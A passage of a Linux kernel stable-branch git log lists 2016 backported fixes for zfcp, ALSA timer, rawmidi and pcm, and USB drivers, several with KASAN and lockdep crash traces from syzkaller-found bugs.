    Prot stat qual : 00000000 00000000 00000000 00000000
    
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Fixes: 86a9668a8d29 ("[SCSI] zfcp: support for hardware data router")
    Reviewed-by: Benjamin Block <bblock@linux.vnet.ibm.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 6d35bb9a9f6ea7082c2f72b31a2ea4f6e4faf5b0
Author: Steffen Maier <maier@linux.vnet.ibm.com>
Date:   Wed Aug 10 18:30:44 2016 +0200

    zfcp: fix fc_host port_type with NPIV
    
    commit bd77befa5bcff8c51613de271913639edf85fbc2 upstream.
    
    For an NPIV-enabled FCP device, zfcp can erroneously show
    "NPort (fabric via point-to-point)" instead of "NPIV VPORT"
    for the port_type sysfs attribute of the corresponding
    fc_host.
    s390-tools that can be affected are dbginfo.sh and ziomon.
    
    zfcp_fsf_exchange_config_evaluate() ignores
    fsf_qtcb_bottom_config.connection_features indicating NPIV
    and only sets fc_host_port_type to FC_PORTTYPE_NPORT if
    fsf_qtcb_bottom_config.fc_topology is FSF_TOPO_FABRIC.
    
    Only the independent zfcp_fsf_exchange_port_evaluate()
    evaluates connection_features to overwrite fc_host_port_type
    to FC_PORTTYPE_NPIV in case of NPIV.
    Code was introduced with upstream kernel 2.6.30
    commit 0282985da5923fa6365adcc1a1586ae0c13c1617
    ("[SCSI] zfcp: Report fc_host_port_type as NPIV").
    
    This works during FCP device recovery (such as set online)
    because it performs FSF_QTCB_EXCHANGE_CONFIG_DATA followed by
    FSF_QTCB_EXCHANGE_PORT_DATA in sequence.
    
    However, the zfcp-specific scsi host sysfs attributes
    "requests", "megabytes", or "seconds_active" trigger only
    zfcp_fsf_exchange_config_evaluate() resetting fc_host
    port_type to FC_PORTTYPE_NPORT despite NPIV.
    
    The zfcp-specific scsi host sysfs attribute "utilization"
    triggers only zfcp_fsf_exchange_port_evaluate() correcting
    the fc_host port_type again in case of NPIV.
    
    Evaluate fsf_qtcb_bottom_config.connection_features
    in zfcp_fsf_exchange_config_evaluate() where it belongs to.
    
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Fixes: 0282985da592 ("[SCSI] zfcp: Report fc_host_port_type as NPIV")
    Reviewed-by: Benjamin Block <bblock@linux.vnet.ibm.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a27178e05b7c332522df40904f27674e36ee3757
Author: Takashi Iwai <tiwai@suse.de>
Date:   Mon Dec 12 17:33:06 2016 +0100

    ALSA: pcm : Call kill_fasync() in stream lock
    
    commit 3aa02cb664c5fb1042958c8d1aa8c35055a2ebc4 upstream.
    
    Currently kill_fasync() is called outside the stream lock in
    snd_pcm_period_elapsed().  This is potentially racy, since the stream
    may get released even during the irq handler is running.  Although
    snd_pcm_release_substream() calls snd_pcm_drop(), this doesn't
    guarantee that the irq handler finishes, thus the kill_fasync() call
    outside the stream spin lock may be invoked after the substream is
    detached, as recently reported by KASAN.
    
    As a quick workaround, move kill_fasync() call inside the stream
    lock.  The fasync is rarely used interface, so this shouldn't have a
    big impact from the performance POV.
    
    Ideally, we should implement some sync mechanism for the proper finish
    of stream and irq handler.  But this oneliner should suffice for most
    cases, so far.
    
    Reported-by: Baozeng Ding <sploving1@gmail.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3d4cfa9535c2fd7f8380462f67ad5bf4be690c82
Author: Takashi Iwai <tiwai@suse.de>
Date:   Wed Sep 21 14:38:02 2016 +0200

    ALSA: ali5451: Fix out-of-bound position reporting
    
    commit db68577966abc1aeae4ec597b3dcfa0d56e92041 upstream.
    
    The pointer callbacks of ali5451 driver may return the value at the
    boundary occasionally, and it results in the kernel warning like
      snd_ali5451 0000:00:06.0: BUG: , pos = 16384, buffer size = 16384, period size = 1024
    
    It seems that folding the position offset is enough for fixing the
    warning and no ill-effect has been seen by that.
    
    Reported-by: Enrico Mioso <mrkiko.rs@gmail.com>
    Tested-by: Enrico Mioso <mrkiko.rs@gmail.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit e13285a1e991fbe68223f0b62320866ceb9a5672
Author: Vegard Nossum <vegard.nossum@oracle.com>
Date:   Mon Aug 29 00:33:51 2016 +0200

    ALSA: timer: fix NULL pointer dereference on memory allocation failure
    
    commit 8ddc05638ee42b18ba4fe99b5fb647fa3ad20456 upstream.
    
    I hit this with syzkaller:
    
        kasan: CONFIG_KASAN_INLINE enabled
        kasan: GPF could be caused by NULL-ptr deref or user memory access
        general protection fault: 0000 [#1] PREEMPT SMP KASAN
        CPU: 0 PID: 1327 Comm: a.out Not tainted 4.8.0-rc2+ #190
        Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org 04/01/2014
        task: ffff88011278d600 task.stack: ffff8801120c0000
        RIP: 0010:[<ffffffff82c8ba07>]  [<ffffffff82c8ba07>] snd_hrtimer_start+0x77/0x100
        RSP: 0018:ffff8801120c7a60  EFLAGS: 00010006
        RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000007
        RDX: 0000000000000009 RSI: 1ffff10023483091 RDI: 0000000000000048
        RBP: ffff8801120c7a78 R08: ffff88011a5cf768 R09: ffff88011a5ba790
        R10: 0000000000000002 R11: ffffed00234b9ef1 R12: ffff880114843980
        R13: ffffffff84213c00 R14: ffff880114843ab0 R15: 0000000000000286
        FS:  00007f72958f3700(0000) GS:ffff88011aa00000(0000) knlGS:0000000000000000
        CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
        CR2: 0000000000603001 CR3: 00000001126ab000 CR4: 00000000000006f0
        Stack:
         ffff880114843980 ffff880111eb2dc0 ffff880114843a34 ffff8801120c7ad0
         ffffffff82c81ab1 0000000000000000 ffffffff842138e0 0000000100000000
         ffff880111eb2dd0 ffff880111eb2dc0 0000000000000001 ffff880111eb2dc0
        Call Trace:
         [<ffffffff82c81ab1>] snd_timer_start1+0x331/0x670
         [<ffffffff82c85bfd>] snd_timer_start+0x5d/0xa0
         [<ffffffff82c8795e>] snd_timer_user_ioctl+0x88e/0x2830
         [<ffffffff8159f3a0>] ? __follow_pte.isra.49+0x430/0x430
         [<ffffffff82c870d0>] ? snd_timer_pause+0x80/0x80
         [<ffffffff815a26fa>] ? do_wp_page+0x3aa/0x1c90
         [<ffffffff8132762f>] ? put_prev_entity+0x108f/0x21a0
         [<ffffffff82c870d0>] ? snd_timer_pause+0x80/0x80
         [<ffffffff816b0733>] do_vfs_ioctl+0x193/0x1050
         [<ffffffff813510af>] ? cpuacct_account_field+0x12f/0x1a0
         [<ffffffff816b05a0>] ? ioctl_preallocate+0x200/0x200
         [<ffffffff81002f2f>] ? syscall_trace_enter+0x3cf/0xdb0
         [<ffffffff815045ba>] ? __context_tracking_exit.part.4+0x9a/0x1e0
         [<ffffffff81002b60>] ? exit_to_usermode_loop+0x190/0x190
         [<ffffffff82001a97>] ? check_preemption_disabled+0x37/0x1e0
         [<ffffffff81d93889>] ? security_file_ioctl+0x89/0xb0
         [<ffffffff816b167f>] SyS_ioctl+0x8f/0xc0
         [<ffffffff816b15f0>] ? do_vfs_ioctl+0x1050/0x1050
         [<ffffffff81005524>] do_syscall_64+0x1c4/0x4e0
         [<ffffffff83c32b2a>] entry_SYSCALL64_slow_path+0x25/0x25
        Code: c7 c7 c4 b9 c8 82 48 89 d9 4c 89 ee e8 63 88 7f fe e8 7e 46 7b fe 48 8d 7b 48 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 <0f> b6 04 02 84 c0 74 04 84 c0 7e 65 80 7b 48 00 74 0e e8 52 46
        RIP  [<ffffffff82c8ba07>] snd_hrtimer_start+0x77/0x100
         RSP <ffff8801120c7a60>
        ---[ end trace 5955b08db7f2b029 ]---
    
    This can happen if snd_hrtimer_open() fails to allocate memory and
    returns an error, which is currently not checked by snd_timer_open():
    
        ioctl(SNDRV_TIMER_IOCTL_SELECT)
         - snd_timer_user_tselect()
            - snd_timer_close()
               - snd_hrtimer_close()
                  - (struct snd_timer *) t->private_data = NULL
            - snd_timer_open()
               - snd_hrtimer_open()
                  - kzalloc() fails; t->private_data is still NULL
    
        ioctl(SNDRV_TIMER_IOCTL_START)
         - snd_timer_user_start()
            - snd_timer_start()
               - snd_timer_start1()
                  - snd_hrtimer_start()
                    - t->private_data == NULL // boom
    
    [js] no put_device in 3.12 yet
    
    Signed-off-by: Vegard Nossum <vegard.nossum@oracle.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3fcea56cf1b1b39cf76945d29577c9656d568278
Author: Vegard Nossum <vegard.nossum@oracle.com>
Date:   Mon Aug 29 00:33:50 2016 +0200

    ALSA: timer: fix division by zero after SNDRV_TIMER_IOCTL_CONTINUE
    
    commit 6b760bb2c63a9e322c0e4a0b5daf335ad93d5a33 upstream.
    
    I got this:
    
        divide error: 0000 [#1] PREEMPT SMP KASAN
        CPU: 1 PID: 1327 Comm: a.out Not tainted 4.8.0-rc2+ #189
        Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org 04/01/2014
        task: ffff8801120a9580 task.stack: ffff8801120b0000
        RIP: 0010:[<ffffffff82c8bd9a>]  [<ffffffff82c8bd9a>] snd_hrtimer_callback+0x1da/0x3f0
        RSP: 0018:ffff88011aa87da8  EFLAGS: 00010006
        RAX: 0000000000004f76 RBX: ffff880112655e88 RCX: 0000000000000000
        RDX: 0000000000000000 RSI: ffff880112655ea0 RDI: 0000000000000001
        RBP: ffff88011aa87e00 R08: ffff88013fff905c R09: ffff88013fff9048
        R10: ffff88013fff9050 R11: 00000001050a7b8c R12: ffff880114778a00
        R13: ffff880114778ab4 R14: ffff880114778b30 R15: 0000000000000000
        FS:  00007f071647c700(0000) GS:ffff88011aa80000(0000) knlGS:0000000000000000
        CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
        CR2: 0000000000603001 CR3: 0000000112021000 CR4: 00000000000006e0
        Stack:
         0000000000000000 ffff880114778ab8 ffff880112655ea0 0000000000004f76
         ffff880112655ec8 ffff880112655e80 ffff880112655e88 ffff88011aa98fc0
         00000000b97ccf2b dffffc0000000000 ffff88011aa98fc0 ffff88011aa87ef0
        Call Trace:
         <IRQ>
         [<ffffffff813abce7>] __hrtimer_run_queues+0x347/0xa00
         [<ffffffff82c8bbc0>] ? snd_hrtimer_close+0x130/0x130
         [<ffffffff813ab9a0>] ? retrigger_next_event+0x1b0/0x1b0
         [<ffffffff813ae1a6>] ? hrtimer_interrupt+0x136/0x4b0
         [<ffffffff813ae220>] hrtimer_interrupt+0x1b0/0x4b0
         [<ffffffff8120f91e>] local_apic_timer_interrupt+0x6e/0xf0
         [<ffffffff81227ad3>] ? kvm_guest_apic_eoi_write+0x13/0xc0
         [<ffffffff83c35086>] smp_apic_timer_interrupt+0x76/0xa0
         [<ffffffff83c3416c>] apic_timer_interrupt+0x8c/0xa0
         <EOI>
         [<ffffffff83c3239c>] ? _raw_spin_unlock_irqrestore+0x2c/0x60
         [<ffffffff82c8185d>] snd_timer_start1+0xdd/0x670
         [<ffffffff82c87015>] snd_timer_continue+0x45/0x80
         [<ffffffff82c88100>] snd_timer_user_ioctl+0x1030/0x2830
         [<ffffffff8159f3a0>] ? __follow_pte.isra.49+0x430/0x430
         [<ffffffff82c870d0>] ? snd_timer_pause+0x80/0x80
         [<ffffffff815a26fa>] ? do_wp_page+0x3aa/0x1c90
         [<ffffffff815aa4f8>] ? handle_mm_fault+0xbc8/0x27f0
         [<ffffffff815a9930>] ? __pmd_alloc+0x370/0x370
         [<ffffffff82c870d0>] ? snd_timer_pause+0x80/0x80
         [<ffffffff816b0733>] do_vfs_ioctl+0x193/0x1050
         [<ffffffff816b05a0>] ? ioctl_preallocate+0x200/0x200
         [<ffffffff81002f2f>] ? syscall_trace_enter+0x3cf/0xdb0
         [<ffffffff815045ba>] ? __context_tracking_exit.part.4+0x9a/0x1e0
         [<ffffffff81002b60>] ? exit_to_usermode_loop+0x190/0x190
         [<ffffffff82001a97>] ? check_preemption_disabled+0x37/0x1e0
         [<ffffffff81d93889>] ? security_file_ioctl+0x89/0xb0
         [<ffffffff816b167f>] SyS_ioctl+0x8f/0xc0
         [<ffffffff816b15f0>] ? do_vfs_ioctl+0x1050/0x1050
         [<ffffffff81005524>] do_syscall_64+0x1c4/0x4e0
         [<ffffffff83c32b2a>] entry_SYSCALL64_slow_path+0x25/0x25
        Code: e8 fc 42 7b fe 8b 0d 06 8a 50 03 49 0f af cf 48 85 c9 0f 88 7c 01 00 00 48 89 4d a8 e8 e0 42 7b fe 48 8b 45 c0 48 8b 4d a8 48 99 <48> f7 f9 49 01 c7 e8 cb 42 7b fe 48 8b 55 d0 48 b8 00 00 00 00
        RIP  [<ffffffff82c8bd9a>] snd_hrtimer_callback+0x1da/0x3f0
         RSP <ffff88011aa87da8>
        ---[ end trace 6aa380f756a21074 ]---
    
    The problem happens when you call ioctl(SNDRV_TIMER_IOCTL_CONTINUE) on a
    completely new/unused timer -- it will have ->sticks == 0, which causes a
    divide by 0 in snd_hrtimer_callback().
    
    Signed-off-by: Vegard Nossum <vegard.nossum@oracle.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit cd0365e75073414886d0be26260b1dd00de9863c
Author: Vegard Nossum <vegard.nossum@oracle.com>
Date:   Sun Aug 28 10:13:07 2016 +0200

    ALSA: timer: fix NULL pointer dereference in read()/ioctl() race
    
    commit 11749e086b2766cccf6217a527ef5c5604ba069c upstream.
    
    I got this with syzkaller:
    
        ==================================================================
        BUG: KASAN: null-ptr-deref on address 0000000000000020
        Read of size 32 by task syz-executor/22519
        CPU: 1 PID: 22519 Comm: syz-executor Not tainted 4.8.0-rc2+ #169
        Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org 04/01/2
        014
         0000000000000001 ffff880111a17a00 ffffffff81f9f141 ffff880111a17a90
         ffff880111a17c50 ffff880114584a58 ffff880114584a10 ffff880111a17a80
         ffffffff8161fe3f ffff880100000000 ffff880118d74a48 ffff880118d74a68
        Call Trace:
         [<ffffffff81f9f141>] dump_stack+0x83/0xb2
         [<ffffffff8161fe3f>] kasan_report_error+0x41f/0x4c0
         [<ffffffff8161ff74>] kasan_report+0x34/0x40
         [<ffffffff82c84b54>] ? snd_timer_user_read+0x554/0x790
         [<ffffffff8161e79e>] check_memory_region+0x13e/0x1a0
         [<ffffffff8161e9c1>] kasan_check_read+0x11/0x20
         [<ffffffff82c84b54>] snd_timer_user_read+0x554/0x790
         [<ffffffff82c84600>] ? snd_timer_user_info_compat.isra.5+0x2b0/0x2b0
         [<ffffffff817d0831>] ? proc_fault_inject_write+0x1c1/0x250
         [<ffffffff817d0670>] ? next_tgid+0x2a0/0x2a0
         [<ffffffff8127c278>] ? do_group_exit+0x108/0x330
         [<ffffffff8174653a>] ? fsnotify+0x72a/0xca0
         [<ffffffff81674dfe>] __vfs_read+0x10e/0x550
         [<ffffffff82c84600>] ? snd_timer_user_info_compat.isra.5+0x2b0/0x2b0
         [<ffffffff81674cf0>] ? do_sendfile+0xc50/0xc50
         [<ffffffff81745e10>] ? __fsnotify_update_child_dentry_flags+0x60/0x60
         [<ffffffff8143fec6>] ? kcov_ioctl+0x56/0x190
         [<ffffffff81e5ada2>] ? common_file_perm+0x2e2/0x380
         [<ffffffff81746b0e>] ? __fsnotify_parent+0x5e/0x2b0
         [<ffffffff81d93536>] ? security_file_permission+0x86/0x1e0
         [<ffffffff816728f5>] ? rw_verify_area+0xe5/0x2b0
         [<ffffffff81675355>] vfs_read+0x115/0x330
         [<ffffffff81676371>] SyS_read+0xd1/0x1a0
         [<ffffffff816762a0>] ? vfs_write+0x4b0/0x4b0
         [<ffffffff82001c2c>] ? __this_cpu_preempt_check+0x1c/0x20
         [<ffffffff8150455a>] ? __context_tracking_exit.part.4+0x3a/0x1e0
         [<ffffffff816762a0>] ? vfs_write+0x4b0/0x4b0
         [<ffffffff81005524>] do_syscall_64+0x1c4/0x4e0
         [<ffffffff810052fc>] ? syscall_return_slowpath+0x16c/0x1d0
         [<ffffffff83c3276a>] entry_SYSCALL64_slow_path+0x25/0x25
        ==================================================================
    
    There are a couple of problems that I can see:
    
     - ioctl(SNDRV_TIMER_IOCTL_SELECT), which potentially sets
       tu->queue/tu->tqueue to NULL on memory allocation failure, so read()
       would get a NULL pointer dereference like the above splat
    
     - the same ioctl() can free tu->queue/to->tqueue which means read()
       could potentially see (and dereference) the freed pointer
    
    We can fix both by taking the ioctl_lock mutex when dereferencing
    ->queue/->tqueue, since that's always held over all the ioctl() code.
    
    Just looking at the code I find it likely that there are more problems
    here such as tu->qhead pointing outside the buffer if the size is
    changed concurrently using SNDRV_TIMER_IOCTL_PARAMS.
    
    [js] unlock in fail paths
    
    Signed-off-by: Vegard Nossum <vegard.nossum@oracle.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit c5bbf9a1b01ed89ff79899ad8efd4c337bb8fe3a
Author: Takashi Iwai <tiwai@suse.de>
Date:   Tue Aug 30 14:45:46 2016 +0200

    ALSA: rawmidi: Fix possible deadlock with virmidi registration
    
    commit 816f318b2364262a51024096da7ca3b84e78e3b5 upstream.
    
    When a seq-virmidi driver is initialized, it registers a rawmidi
    instance with its callback to create an associated seq kernel client.
    Currently it's done throughly in rawmidi's register_mutex context.
    Recently it was found that this may lead to a deadlock another rawmidi
    device that is being attached with the sequencer is accessed, as both
    open with the same register_mutex.  This was actually triggered by
    syzkaller, as Dmitry Vyukov reported:
    
    ======================================================
     [ INFO: possible circular locking dependency detected ]
     4.8.0-rc1+ #11 Not tainted
     -------------------------------------------------------
     syz-executor/7154 is trying to acquire lock:
      (register_mutex#5){+.+.+.}, at: [<ffffffff84fd6d4b>] snd_rawmidi_kernel_open+0x4b/0x260 sound/core/rawmidi.c:341
    
     but task is already holding lock:
      (&grp->list_mutex){++++.+}, at: [<ffffffff850138bb>] check_and_subscribe_port+0x5b/0x5c0 sound/core/seq/seq_ports.c:495
    
     which lock already depends on the new lock.
    
     the existing dependency chain (in reverse order) is:
    
     -> #1 (&grp->list_mutex){++++.+}:
        [<ffffffff8147a3a8>] lock_acquire+0x208/0x430 kernel/locking/lockdep.c:3746
        [<ffffffff863f6199>] down_read+0x49/0xc0 kernel/locking/rwsem.c:22
        [<     inline     >] deliver_to_subscribers sound/core/seq/seq_clientmgr.c:681
        [<ffffffff85005c5e>] snd_seq_deliver_event+0x35e/0x890 sound/core/seq/seq_clientmgr.c:822
        [<ffffffff85006e96>] > snd_seq_kernel_client_dispatch+0x126/0x170 sound/core/seq/seq_clientmgr.c:2418
        [<ffffffff85012c52>] snd_seq_system_broadcast+0xb2/0xf0 sound/core/seq/seq_system.c:101
        [<ffffffff84fff70a>] snd_seq_create_kernel_client+0x24a/0x330 sound/core/seq/seq_clientmgr.c:2297
        [<     inline     >] snd_virmidi_dev_attach_seq sound/core/seq/seq_virmidi.c:383
        [<ffffffff8502d29f>] snd_virmidi_dev_register+0x29f/0x750 sound/core/seq/seq_virmidi.c:450
        [<ffffffff84fd208c>] snd_rawmidi_dev_register+0x30c/0xd40 sound/core/rawmidi.c:1645
        [<ffffffff84f816d3>] __snd_device_register.part.0+0x63/0xc0 sound/core/device.c:164
        [<     inline     >] __snd_device_register sound/core/device.c:162
        [<ffffffff84f8235d>] snd_device_register_all+0xad/0x110 sound/core/device.c:212
        [<ffffffff84f7546f>] snd_card_register+0xef/0x6c0 sound/core/init.c:749
        [<ffffffff85040b7f>] snd_virmidi_probe+0x3ef/0x590 sound/drivers/virmidi.c:123
        [<ffffffff833ebf7b>] platform_drv_probe+0x8b/0x170 drivers/base/platform.c:564
        ......
    
     -> #0 (register_mutex#5){+.+.+.}:
        [<     inline     >] check_prev_add kernel/locking/lockdep.c:1829
        [<     inline     >] check_prevs_add kernel/locking/lockdep.c:1939
        [<     inline     >] validate_chain kernel/locking/lockdep.c:2266
        [<ffffffff814791f4>] __lock_acquire+0x4d44/0x4d80 kernel/locking/lockdep.c:3335
        [<ffffffff8147a3a8>] lock_acquire+0x208/0x430 kernel/locking/lockdep.c:3746
        [<     inline     >] __mutex_lock_common kernel/locking/mutex.c:521
        [<ffffffff863f0ef1>] mutex_lock_nested+0xb1/0xa20 kernel/locking/mutex.c:621
        [<ffffffff84fd6d4b>] snd_rawmidi_kernel_open+0x4b/0x260 sound/core/rawmidi.c:341
        [<ffffffff8502e7c7>] midisynth_subscribe+0xf7/0x350 sound/core/seq/seq_midi.c:188
        [<     inline     >] subscribe_port sound/core/seq/seq_ports.c:427
        [<ffffffff85013cc7>] check_and_subscribe_port+0x467/0x5c0 sound/core/seq/seq_ports.c:510
        [<ffffffff85015da9>] snd_seq_port_connect+0x2c9/0x500 sound/core/seq/seq_ports.c:579
        [<ffffffff850079b8>] snd_seq_ioctl_subscribe_port+0x1d8/0x2b0 sound/core/seq/seq_clientmgr.c:1480
        [<ffffffff84ffe9e4>] snd_seq_do_ioctl+0x184/0x1e0 sound/core/seq/seq_clientmgr.c:2225
        [<ffffffff84ffeae8>] snd_seq_kernel_client_ctl+0xa8/0x110 sound/core/seq/seq_clientmgr.c:2440
        [<ffffffff85027664>] snd_seq_oss_midi_open+0x3b4/0x610 sound/core/seq/oss/seq_oss_midi.c:375
        [<ffffffff85023d67>] snd_seq_oss_synth_setup_midi+0x107/0x4c0 sound/core/seq/oss/seq_oss_synth.c:281
        [<ffffffff8501b0a8>] snd_seq_oss_open+0x748/0x8d0 sound/core/seq/oss/seq_oss_init.c:274
        [<ffffffff85019d8a>] odev_open+0x6a/0x90 sound/core/seq/oss/seq_oss.c:138
        [<ffffffff84f7040f>] soundcore_open+0x30f/0x640 sound/sound_core.c:639
        ......
    
     other info that might help us debug this:
    
     Possible unsafe locking scenario:
    
            CPU0                    CPU1
            ----                    ----
       lock(&grp->list_mutex);
                                    lock(register_mutex#5);
                                    lock(&grp->list_mutex);
       lock(register_mutex#5);
    
     *** DEADLOCK ***
    ======================================================
    
    The fix is to simply move the registration parts in
    snd_rawmidi_dev_register() to the outside of the register_mutex lock.
    The lock is needed only to manage the linked list, and it's not
    necessarily to cover the whole initialization process.
    
    Reported-by: Dmitry Vyukov <dvyukov@google.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 64c179fa3ca3220b5e2e38aa09bff0b820178b78
Author: Petr Vandrovec <petr@vandrovec.name>
Date:   Thu Nov 10 13:57:14 2016 -0800

    Fix USB CB/CBI storage devices with CONFIG_VMAP_STACK=y
    
    commit 2ce9d2272b98743b911196c49e7af5841381c206 upstream.
    
    Some code (all error handling) submits CDBs that are allocated
    on the stack.  This breaks with CB/CBI code that tries to create
    URB directly from SCSI command buffer - which happens to be in
    vmalloced memory with vmalloced kernel stacks.
    
    Let's make copy of the command in usb_stor_CB_transport.
    
    Signed-off-by: Petr Vandrovec <petr@vandrovec.name>
    Acked-by: Alan Stern <stern@rowland.harvard.edu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 82e63143d9a02b971c87223a6a220c77efbbe3e7
Author: Peter Chen <peter.chen@nxp.com>
Date:   Tue Nov 15 18:05:33 2016 +0800

    usb: chipidea: move the lock initialization to core file
    
    commit a5d906bb261cde5f881a949d3b0fbaa285dcc574 upstream.
    
    This can fix below dump when the lock is accessed at host
    mode due to it is not initialized.
    
    [   46.119638] INFO: trying to register non-static key.
    [   46.124643] the code is fine but needs lockdep annotation.
    [   46.130144] turning off the locking correctness validator.
    [   46.135659] CPU: 0 PID: 690 Comm: cat Not tainted 4.9.0-rc3-00079-g4b75f1d #1210
    [   46.143075] Hardware name: Freescale i.MX6 SoloX (Device Tree)
    [   46.148923] Backtrace:
    [   46.151448] [<c010c460>] (dump_backtrace) from [<c010c658>] (show_stack+0x18/0x1c)
    [   46.159038]  r7:edf52000
    [   46.161412]  r6:60000193
    [   46.163967]  r5:00000000
    [   46.165035]  r4:c0e25c2c
    
    [   46.169109] [<c010c640>] (show_stack) from [<c03f58a4>] (dump_stack+0xb4/0xe8)
    [   46.176362] [<c03f57f0>] (dump_stack) from [<c016d690>] (register_lock_class+0x4fc/0x56c)
    [   46.184554]  r10:c0e25d24
    [   46.187014]  r9:edf53e70
    [   46.189569]  r8:c1642444
    [   46.190637]  r7:ee9da024
    [   46.193191]  r6:00000000
    [   46.194258]  r5:00000000
    [   46.196812]  r4:00000000
    [   46.199185]  r3:00000001
    
    [   46.203259] [<c016d194>] (register_lock_class) from [<c0171294>] (__lock_acquire+0x80/0x10f0)
    [   46.211797]  r10:c0e25d24
    [   46.214257]  r9:edf53e70
    [   46.216813]  r8:ee9da024
    [   46.217880]  r7:c1642444
    [   46.220435]  r6:edcd1800
    [   46.221502]  r5:60000193
    [   46.224057]  r4:00000000
    
    [   46.227953] [<c0171214>] (__lock_acquire) from [<c01726c0>] (lock_acquire+0x74/0x94)
    [   46.235710]  r10:00000001
    [   46.238169]  r9:edf53e70
    [   46.240723]  r8:edf53f80
    [   46.241790]  r7:00000001
    [   46.244344]  r6:00000001
    [   46.245412]  r5:60000193
    [   46.247966]  r4:00000000
    
    [   46.251866] [<c017264c>] (lock_acquire) from [<c096c8fc>] (_raw_spin_lock_irqsave+0x40/0x54)
    [   46.260319]  r7:ee1c6a00
    [   46.262691]  r6:c062a570
    [   46.265247]  r5:20000113
    [   46.266314]  r4:ee9da014
    
    [   46.270393] [<c096c8bc>] (_raw_spin_lock_irqsave) from [<c062a570>] (ci_port_test_show+0x2c/0x70)
    [   46.279280]  r6:eebd2000
    [   46.281652]  r5:ee9da010
    [   46.284207]  r4:ee9da014
    
    [   46.286810] [<c062a544>] (ci_port_test_show) from [<c0248d04>] (seq_read+0x1ac/0x4f8)
    [   46.294655]  r9:edf53e70
    [   46.297028]  r8:edf53f80
    [   46.299583]  r7:ee1c6a00
    [   46.300650]  r6:00000001
    [   46.303205]  r5:00000000
    [   46.304273]  r4:eebd2000
    [   46.306850] [<c0248b58>] (seq_read) from [<c039e864>] (full_proxy_read+0x54/0x6c)
    [   46.314348]  r10:00000000
    [   46.316808]  r9:c0a6ad30
    [   46.319363]  r8:edf53f80
    [   46.320430]  r7:00020000
    [   46.322986]  r6:b6de3000
    [   46.324053]  r5:ee1c6a00
    [   46.326607]  r4:c0248b58
    
    [   46.330505] [<c039e810>] (full_proxy_read) from [<c021ec98>] (__vfs_read+0x34/0x118)
    [   46.338262]  r9:edf52000
    [   46.340635]  r8:c0107fc4
    [   46.343190]  r7:00020000
    [   46.344257]  r6:edf53f80
    [   46.346812]  r5:c039e810
    [   46.347879]  r4:ee1c6a00
    [   46.350447] [<c021ec64>] (__vfs_read) from [<c021fbd0>] (vfs_read+0x8c/0x11c)
    [   46.357597]  r9:edf52000
    [   46.359969]  r8:c0107fc4
    [   46.362524]  r7:edf53f80
    [   46.363592]  r6:b6de3000
    [   46.366147]  r5:ee1c6a00
    [   46.367214]  r4:00020000
    [   46.369782] [<c021fb44>] (vfs_read) from [<c0220a4c>] (SyS_read+0x4c/0xa8)
    [   46.376672]  r8:c0107fc4
    [   46.379045]  r7:00020000
    [   46.381600]  r6:b6de3000
    [   46.382667]  r5:ee1c6a00
    [   46.385222]  r4:ee1c6a00
    
    [   46.387817] [<c0220a00>] (SyS_read) from [<c0107e20>] (ret_fast_syscall+0x0/0x1c)
    [   46.395314]  r7:00000003
    [   46.397687]  r6:b6de3000
    [   46.400243]  r5:00020000
    [   46.401310]  r4:00020000
    
    Fixes: 26c696c678c4 ("USB: Chipidea: rename struct ci13xxx variables from udc to ci")
    Signed-off-by: Peter Chen <peter.chen@nxp.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 990d13a5e86320906b7a8d427b47e5c92b3165d4
Author: Felipe Balbi <felipe.balbi@linux.intel.com>
Date:   Tue Nov 1 13:20:22 2016 +0200

    usb: gadget: u_ether: remove interrupt throttling
    
    commit fd9afd3cbe404998d732be6cc798f749597c5114 upstream.
    
    According to Dave Miller "the networking stack has a
    hard requirement that all SKBs which are transmitted
    must have their completion signalled in a fininte
    amount of time. This is because, until the SKB is
    freed by the driver, it holds onto socket,
    netfilter, and other subsystem resources."
    
    In summary, this means that using TX IRQ throttling
    for the networking gadgets is, at least, complex and
    we should avoid it for the time being.
    
    Reported-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
    Tested-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
    Suggested-by: David Miller <davem@davemloft.net>
    Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit dfa4b7ad66b0e7e511f447f92e0331109c3a0109
Author: Johan Hovold <johan@kernel.org>
Date:   Wed Oct 19 15:45:07 2016 +0200

    USB: serial: cp210x: fix tiocmget error handling
    
    commit de24e0a108bc48062e1c7acaa97014bce32a919f upstream.
    
